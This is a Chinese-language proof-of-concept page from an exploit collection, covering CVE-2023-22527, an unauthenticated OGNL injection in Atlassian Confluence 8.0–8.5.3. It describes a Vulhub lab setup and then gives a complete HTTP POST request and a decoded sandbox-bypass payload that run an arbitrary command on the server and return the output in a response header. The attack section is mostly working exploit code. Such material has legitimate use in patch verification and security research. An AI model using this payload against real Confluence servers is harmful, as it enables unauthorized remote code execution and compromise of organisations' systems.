mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
54 lines
3.1 KiB
Markdown
54 lines
3.1 KiB
Markdown
|
|
# Atlassian Confluence OGNL 表达式注入命令执行漏洞 CVE-2023-22527
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Atlassian Confluence 是企业广泛使用的 wiki 系统。
|
|||
|
|
|
|||
|
|
在 Confluence 8.0 到 8.5.3 版本之间,存在一处由于任意 velocity 模板被调用导致的 OGNL 表达式注入漏洞,未授权攻击者利用该漏洞可以直接攻击 Confluence 服务器并执行任意命令。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- [https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html)
|
|||
|
|
- [https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/](https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/)
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub 执行如下命令启动一个 Confluence Server 8.5.3:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
环境启动后,访问 `http://your-vps-ip:8090` 即可进入安装向导。点击“Get an evaluation license”,去 Atlassian 官方申请一个 Confluence Server 的试用版许可证,申请方法可参考 [CVE-2019-3396](https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396)。
|
|||
|
|
|
|||
|
|
在填写数据库信息的页面,PostgreSQL 数据库地址为 `db`,数据库名称 `confluence`,用户名密码均为 `postgres`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
直接发送如下请求即可执行任意命令,并在 HTTP 返回头中获取执行结果:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /template/aui/text-inline.vm HTTP/1.1
|
|||
|
|
Host: your-vps-ip:8090
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept: */*
|
|||
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
|
|||
|
|
Connection: close
|
|||
|
|
Cache-Control: max-age=0
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Content-Length: 285
|
|||
|
|
|
|||
|
|
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
在 Confluence 7.18.0 版本后,官方开发者为其引入了 `isSafeExpression` 函数来限制执行恶意 OGNL 表达式。安全研究者 [Alvaro Muñoz](https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/) 分享了一种利用 velocity 模板中的 `#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(String, Object)` 来获取无沙箱的 OGNL 对象并执行任意语句的绕过方法,完整并解码后的 Payload 如下:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
'+(#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"})),{}))+'
|
|||
|
|
```
|